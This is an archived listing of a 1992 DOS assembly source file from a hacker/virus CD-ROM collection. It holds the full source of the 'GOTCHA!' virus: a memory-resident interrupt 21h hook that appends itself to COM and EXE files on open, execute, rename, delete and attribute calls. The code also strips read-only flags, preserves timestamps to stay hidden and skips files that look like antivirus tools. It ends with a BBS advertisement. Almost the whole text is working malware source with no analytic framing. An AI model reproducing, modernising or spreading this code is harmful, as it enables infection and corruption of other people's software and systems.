home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GOTCHA9.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  20KB  |  577 lines
  1. ;****************************************************************************
  2. ;*              GOTCHA!  Version 9e
  3. ;****************************************************************************
  4.  
  5. cseg            segment
  6.                 assume  cs:cseg,ds:cseg,es:nothing
  7.  
  8.                 org     100h
  9.  
  10. SIGNLEN         equ     signend - signature
  11. FILELEN         equ     end - begin
  12. RESPAR          equ     (FILELEN/16) + 17
  13. VERSION         equ     9
  14. BUFLEN          equ     20h
  15. COMSIGN         equ     0
  16. EXESIGN         equ     1
  17. MINTARGET       equ     1000
  18. MAXTARGET       equ     -FILELEN
  19.  
  20.                 .RADIX  16
  21.  
  22.  
  23. ;****************************************************************************
  24. ;*              Start the program!
  25. ;****************************************************************************
  26.  
  27. begin:          xor     bx,bx
  28.                 call    install
  29.                 int     20
  30.  
  31.  
  32. ;****************************************************************************
  33. ;*              Data
  34. ;****************************************************************************
  35.  
  36. buffer          db      BUFLEN dup (?)
  37. oi21            dw      ?,?
  38. oldlen          dw      ?,?
  39. nameptr         dw      ?,?
  40. handle          dw      ?
  41. comexe          db      ?
  42.  
  43.  
  44. ;****************************************************************************
  45. ;*              File-extensions
  46. ;****************************************************************************
  47.  
  48. EXE_txt         db      'EXE'
  49. COM_txt         db      'COM'
  50.  
  51.  
  52. ;****************************************************************************
  53. ;*              Interupt handler 24
  54. ;****************************************************************************
  55.  
  56. ni24:           mov     al,03
  57.                 iret
  58.  
  59.  
  60. ;****************************************************************************
  61. ;*              Interupt handler 21
  62. ;****************************************************************************
  63.  
  64. ni21:           pushf
  65.  
  66.                 cmp     ax,0DADAh               ;install-check ?
  67.                 je      do_DADA
  68.  
  69.                 push    dx
  70.                 push    cx
  71.                 push    bx
  72.                 push    ax
  73.                 push    si
  74.                 push    di
  75.                 push    ds
  76.                 push    es
  77.  
  78.                 cmp     ax,6C00h                ;open/create 4.00 ?
  79.                 je      do_6C00
  80.                 cmp     ah,56h                  ;rename ?
  81.                 je      doit
  82.                 cmp     ah,4Eh                  ;findfirst ?
  83.                 je      doit                    ;(only works without wildcards)
  84.                 cmp     ah,4Bh                  ;load / execute ?
  85.                 je      doit
  86.                 cmp     ah,43h                  ;attributes
  87.                 je      doit
  88.                 cmp     ah,41h                  ;delete ?
  89.                 je      doit                    ;(it might be un-deleted!)
  90.                 cmp     ah,3Dh                  ;open ?
  91.                 je      do_3D
  92.  
  93.                 cmp     ah,17h                  ;FCB-rename?
  94.                 je      doFCB
  95.                 cmp     ah,13h                  ;FCB-delete?
  96.                 jne     exit
  97.  
  98. doFCB:          call    FCBtoASC                ;COMMAND.COM still uses FCB's!
  99.  
  100. doit:           call    infect
  101.  
  102. exit:           pop     es
  103.                 pop     ds
  104.                 pop     di
  105.                 pop     si
  106.                 pop     ax
  107.                 pop     bx
  108.                 pop     cx
  109.                 pop     dx
  110.                 popf
  111.  
  112.                 jmp     dword ptr cs:[oi21]     ;call to old int-handler
  113.  
  114.  
  115. do_3D:          test    al,03h                  ;only if opened for READING
  116.                 jne     exit
  117.                 jmp     short doit
  118.  
  119. do_6C00:        test    bl,03h                  ;idem
  120.                 jne     exit
  121.                 mov     dx,di                   ;ptr was DS:DI 
  122.                 jmp     short doit
  123.  
  124. do_DADA:        mov     ax,0A500h+VERSION       ;return a signature
  125.                 popf
  126.                 iret
  127.  
  128.  
  129. ;****************************************************************************
  130. ;*              Old Interupt handler 21
  131. ;****************************************************************************
  132.  
  133. org21:          pushf
  134.                 call    dword ptr cs:[oi21]     ;call to old int-handler
  135.                 ret
  136.  
  137.  
  138. ;****************************************************************************
  139. ;*              Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
  140. ;****************************************************************************
  141.  
  142. infect:         cld
  143.  
  144.                 mov     cs:[nameptr],dx         ;save the ptr to the filename
  145.                 mov     cs:[nameptr+2],ds
  146.  
  147.                 mov     ah,62h                  ;get segment-adres of PSP
  148.                 int     21
  149.                 mov     ds,bx                   ;get seg-adres of environment
  150.                 mov     ax,ds:002Ch
  151.                 mov     ds,ax
  152.                 mov     si,0
  153.  
  154. envloop:        cmp     ds:[si],byte ptr 0      ;end of environment?
  155.                 je      verder7
  156.  
  157.                 push    cs
  158.                 pop     es
  159.                 mov     di,offset envstring
  160.                 mov     bx,0
  161.  
  162. scloop:         mov     al,ds:[si]              ;check the current env-item
  163.                 cmpsb
  164.                 je      scv1
  165.                 inc     bx                      ;characters don't match!
  166. scv1:           cmp     al,0                    ;end of env-item?
  167.                 jne     scloop
  168.  
  169.                 cmp     bx,0                    ;did all characters match?
  170.                 je      return
  171.                 jmp     short envloop
  172.  
  173. verder7:        push    cs                      ;check the filename
  174.                 pop     ds
  175.                 les     di,dword ptr [nameptr]
  176.                 mov     dx,di                
  177.                 mov     cx,80                   ;search end of filename (-EXT)
  178.                 mov     al,'.'
  179.         repnz   scasb
  180.                 mov     bx,di
  181.  
  182.                 std                             ;find begin of filename
  183.                 mov     cl,11
  184.                 mov     al,'\'
  185.         repnz   scasb
  186.                 cld
  187.                 je      vvv
  188.                 mov     di,dx
  189.                 jmp     short vvv2
  190. vvv:            add     di,2
  191. vvv2:           mov     al,'V'                  ;is it V*.* ?
  192.                 scasb
  193.                 je      return
  194.  
  195.                 mov     cl,7                    ;is it *AN*.* ?
  196.                 mov     ax,'NA'
  197. ANloop:         dec     di
  198.                 scasw
  199.                 loopnz  ANloop
  200.                 je      return
  201.  
  202.                 mov     si,offset EXE_txt       ;is extension 'EXE'?
  203.                 mov     di,bx
  204.                 mov     cx,3
  205.         rep     cmpsb
  206.                 jnz     verder4
  207.  
  208.                 mov     byte ptr [comexe],EXESIGN
  209.                 jmp     short verder3
  210.  
  211. return:         ret
  212.  
  213. verder4:        mov     si,offset COM_txt       ;is extension 'COM'?
  214.                 mov     di,bx
  215.                 mov     cx,3
  216.         rep     cmpsb
  217.                 jnz     return 
  218.  
  219.                 mov     byte ptr [comexe],COMSIGN
  220.  
  221. verder3:        mov     ax,3300h                ;get ctrl-break flag
  222.                 int     21
  223.                 push    dx
  224.  
  225.                 xor     dl,dl                   ;clear the flag
  226.                 mov     ax,3301h
  227.                 int     21
  228.  
  229.                 mov     ax,3524h                ;get int24 vector
  230.                 int     21
  231.                 push    bx
  232.                 push    es
  233.  
  234.                 push    cs                      ;set int24 vec to new handler
  235.                 pop     ds
  236.                 mov     dx,offset ni24
  237.                 mov     ax,2524h
  238.                 int     21
  239.  
  240.                 lds     dx,dword ptr [nameptr]  ;get file-attribute
  241.                 mov     ax,4300h
  242.                 call    org21
  243.                 push    cx
  244.  
  245.                 and     cx,0F8h                 ;clear READ-ONLY-flag
  246.                 call    setattr
  247.                 jc      return1_v
  248.  
  249.                 push    cs                      ;open the file
  250.                 pop     ds
  251.                 lds     dx,dword ptr [nameptr]
  252.                 mov     ax,3D02h
  253.                 int     21
  254.                 jnc     verder2
  255. return1_v:      jmp     return1                 ;something went wrong... :-(
  256.  
  257. verder2:        push    cs                      ;save handle
  258.                 pop     ds
  259.                 mov     [handle],ax
  260.  
  261.                 mov     bx,[handle]             ;get file date & time
  262.                 mov     ax,5700h
  263.                 int     21
  264.                 push    cx
  265.                 push    dx
  266.  
  267.                 call    endptr                  ;get file-length
  268.                 mov     [oldlen],ax
  269.                 mov     [oldlen+2],dx
  270.  
  271.                 sub     ax,SIGNLEN              ;move ptr to end - SIGNLEN
  272.                 sbb     dx,0
  273.                 mov     cx,dx
  274.                 mov     dx,ax
  275.                 mov     al,00h
  276.                 call    ptrmov
  277.  
  278.                 mov     cx,SIGNLEN              ;read the last bytes
  279.                 mov     dx,offset buffer   
  280.                 call    flread
  281.                 jc      return2_v
  282.  
  283.                 push    cs                      ;compare bytes with signature
  284.                 pop     es
  285.                 mov     di,offset buffer
  286.                 mov     si,offset signature
  287.                 mov     cx,SIGNLEN
  288.         rep     cmpsb
  289.                 jz      return2_v
  290.  
  291.                 call    beginptr                ;read begin of file
  292.                 mov     cx,BUFLEN
  293.                 mov     dx,offset buffer
  294.                 call    flread
  295.  
  296.                 cmp     byte ptr [comexe],EXESIGN
  297.                 jz      do_exe
  298.                 
  299. do_com:         cmp     word ptr [oldlen],MAXTARGET   ;check length of file
  300.                 jnb     return2
  301.                 cmp     word ptr [oldlen],MINTARGET
  302.                 jbe     return2
  303.  
  304.                 call    writeprog               ;write program to end of file
  305.                 jc      return2
  306.  
  307.                 mov     ax,[oldlen]             ;calculate new start-adres
  308.                 add     ax,(offset entry - 0103h)
  309.                 mov     byte ptr [buffer],0E9h  ;'JMP'
  310.                 mov     word ptr [buffer+1],ax
  311.  
  312.                 jmp     short verder1
  313.  
  314. return2_v:      jmp     short return2
  315.  
  316.  
  317. do_exe:         call    writeprog               ;write program to end of file
  318.                 jc      return2
  319.  
  320.                 mov     ax,[oldlen]             ;calculate new length 
  321.                 mov     dx,[oldlen+2]
  322.                 add     ax,FILELEN
  323.                 adc     dx,0
  324.  
  325.                 mov     cl,9                    ;put new length in header
  326.                 shr     ax,cl
  327.                 mov     cl,7
  328.                 shl     dx,cl
  329.                 or      ax,dx
  330.                 inc     ax
  331.                 mov     word ptr [buffer+4],ax
  332.                 mov     ax,[oldlen]
  333.                 add     ax,FILELEN
  334.                 and     ax,01FFh
  335.                 mov     word ptr [buffer+2],ax
  336.  
  337.                 mov     ax,[oldlen]             ;calculate new CS & IP
  338.                 mov     dx,[oldlen+2]
  339.                 mov     bx,word ptr [buffer+8]
  340.                 push    ax
  341.                 mov     cl,4
  342.                 shr     ax,cl
  343.                 mov     cl,0Ch
  344.                 shl     dx,cl
  345.                 add     ax,dx
  346.                 sub     ax,bx
  347.                 mov     word ptr [buffer+16h],ax  ;put CS in header
  348.                 pop     ax
  349.                 and     ax,000Fh
  350.                 add     ax,(offset entry - 0100h)
  351.                 mov     word ptr [buffer+14h],ax  ;put IP in header
  352.  
  353. verder1:        call    beginptr                ;write new begin of file
  354.                 mov     cx,BUFLEN
  355.                 mov     dx,offset buffer
  356.                 call    flwrite
  357.  
  358. return2:        mov     bx,[handle]             ;restore file date & time
  359.                 pop     dx
  360.                 pop     cx
  361.                 mov     ax,5701h
  362.                 int     21
  363.  
  364.                 mov     bx,[handle]             ;close the file
  365.                 mov     ah,3Eh
  366.                 int     21
  367.  
  368. return1:        pop     cx                      ;restore file-attribute
  369.                 call    setattr
  370.  
  371.                 pop     ds                      ;restore int24 vector
  372.                 pop     dx
  373.                 mov     ax,2524h
  374.                 int     21
  375.  
  376.                 pop     dx                      ;restore ctrl-break flag
  377.                 mov     ax,3301h
  378.                 int     21
  379.  
  380.                 ret
  381.  
  382.  
  383. ;****************************************************************************
  384. ;*              Gets ASCIIZ-filename from FCB
  385. ;****************************************************************************
  386.  
  387. FCBtoASC:       mov     si,dx
  388.                 lodsb
  389.                 inc     al                      ;extended FCB?
  390.                 jne     normal_FCB
  391.                 add     si,7
  392. normal_FCB:     push    cs
  393.                 pop     es
  394.                 xor     di,di                   ;adres for ASCIIZ-name
  395.                 mov     dx,di
  396.                 mov     cx,8
  397. FCB_loop:       lodsb                           ;copy all except spaces
  398.                 cmp     al,' '
  399.                 je      FCB_verder
  400.                 stosb
  401. FCB_verder:     loop    FCB_loop
  402.                 mov     al,'.'                  ;append a '.'
  403.                 stosb
  404.                 mov     cl,3                    ;and the extension
  405.         rep     movsb
  406.                 xchg    ax,cx                   ;and a final zero.
  407.                 stosb
  408.                 push    es
  409.                 pop     ds
  410.                 ret
  411.  
  412.  
  413. ;****************************************************************************
  414. ;*              Changes file-attributes
  415. ;****************************************************************************
  416.  
  417. setattr:        lds     dx,dword ptr cs:[nameptr]
  418.                 mov     ax,4301h
  419.                 call    org21
  420.                 ret
  421.  
  422.  
  423. ;****************************************************************************
  424. ;*              Writes program to end of file
  425. ;****************************************************************************
  426.  
  427. writeprog:      call    endptr
  428.                 mov     cx,FILELEN
  429.                 mov     dx,offset begin
  430. ;                call    flwrite                ;Hmm, save a few bytes!
  431. ;                ret
  432.  
  433.  
  434. ;****************************************************************************
  435. ;*              Subroutines for reading/writing
  436. ;****************************************************************************
  437.  
  438. flwrite:        mov     ah,40h
  439.                 jmp     short flvrdr
  440.  
  441. flread:         mov     ah,3Fh
  442. flvrdr:         push    cs
  443.                 pop     ds
  444.                 mov     bx,cs:[handle]
  445.                 int     21
  446.                 ret
  447.  
  448.  
  449. ;****************************************************************************
  450. ;*              Subroutines for file-pointer
  451. ;****************************************************************************
  452.  
  453. beginptr:       mov     al,00h                  ;go to begin of file
  454.                 jmp     short ptrvrdr
  455.  
  456. endptr:         mov     al,02h                  ;go to end of file
  457. ptrvrdr:        xor     cx,cx
  458.                 xor     dx,dx
  459.  
  460. ptrmov:         mov     bx,cs:[handle]          ;go somewhere
  461.                 mov     ah,42h
  462.                 int     21
  463.                 ret
  464.  
  465.  
  466. ;****************************************************************************
  467. ;*              This is where infected files start
  468. ;****************************************************************************
  469.  
  470. entry:          call    entry2
  471. entry2:         pop     bx
  472.                 sub     bx,offset entry2        ;CS:BX is begin program - 100h
  473.  
  474.                 pushf
  475.                 cld
  476.  
  477.                 cmp     byte ptr cs:[bx+offset comexe],COMSIGN
  478.                 jz      entryC
  479.  
  480. entryE:         mov     ax,ds                   ;put old start-adres on stack
  481.                 add     ax,10
  482.                 add     ax,cs:[bx+offset buffer+016h]
  483.                 push    ax
  484.                 push    cs:[bx+offset buffer+014h]
  485.  
  486.                 jmp     short entcheck
  487.                 
  488. entryC:         mov     ax,bx                   ;restore old file-begin
  489.                 add     ax,offset buffer
  490.                 mov     si,ax
  491.                 mov     di,0100
  492.                 mov     cx,BUFLEN
  493.         rep     movsb
  494.  
  495.                 push    cs                      ;put old start-adres on stack
  496.                 mov     ax,0100h
  497.                 push    ax
  498.  
  499. entcheck:       mov     ax,0DADAh               ;already installed?
  500.                 int     21h
  501.                 cmp     ah,0A5h
  502.                 je      entstop
  503.  
  504.                 call    install                 ;install the program
  505.  
  506. entstop:        iret
  507.  
  508.  
  509. ;****************************************************************************
  510. ;*              Install the program at top of memory
  511. ;****************************************************************************
  512.  
  513. install:        push    ds
  514.                 push    es
  515.  
  516.                 xor     ax,ax                   ;get original int21 vector
  517.                 mov     es,ax
  518.                 mov     cx,word ptr es:0084h
  519.                 mov     dx,word ptr es:0086h
  520.                 mov     cs:[bx+offset oi21],cx
  521.                 mov     cs:[bx+offset oi21+2],dx
  522.  
  523.                 mov     ax,ds                   ;adjust memory-size
  524.                 dec     ax
  525.                 mov     es,ax
  526.                 cmp     byte ptr es:[0000h],5Ah
  527.                 jnz     cancel
  528.                 mov     ax,es:[0003h]
  529.                 sub     ax,RESPAR
  530.                 jb      cancel
  531.                 mov     es:[0003h],ax
  532.                 sub     es:[0012h], word ptr RESPAR
  533.  
  534.                 push    cs                      ;copy program to top
  535.                 pop     ds
  536.                 mov     es,es:[0012h]
  537.                 mov     ax,bx
  538.                 add     ax,0100
  539.                 mov     si,ax
  540.                 mov     di,0100h
  541.                 mov     cx,FILELEN
  542.         rep     movsb
  543.  
  544.                 mov     dx,offset ni21          ;set vector to new handler
  545.                 push    es
  546.                 pop     ds
  547.                 mov     ax,2521h
  548.                 int     21h
  549.  
  550. cancel:         pop     es
  551.                 pop     ds
  552.  
  553.                 ret
  554.  
  555.  
  556. ;****************************************************************************
  557. ;*              Text and Signature
  558. ;****************************************************************************
  559.  
  560. envstring:      db      'E=mc²',0               ;put this in your environment!
  561.  
  562. signature:      db      'GOTCHA!',0             ;I have got you!  :-)
  563. signend:
  564.  
  565.  
  566.  
  567. end:
  568.  
  569. cseg            ends
  570.                 end     begin
  571. 
  572. ; ─────────────────────────────────────────────────────────────────────────
  573. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  574. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  575. ; ─────────────────────────────────────────────────────────────────────────
  576.  
  577.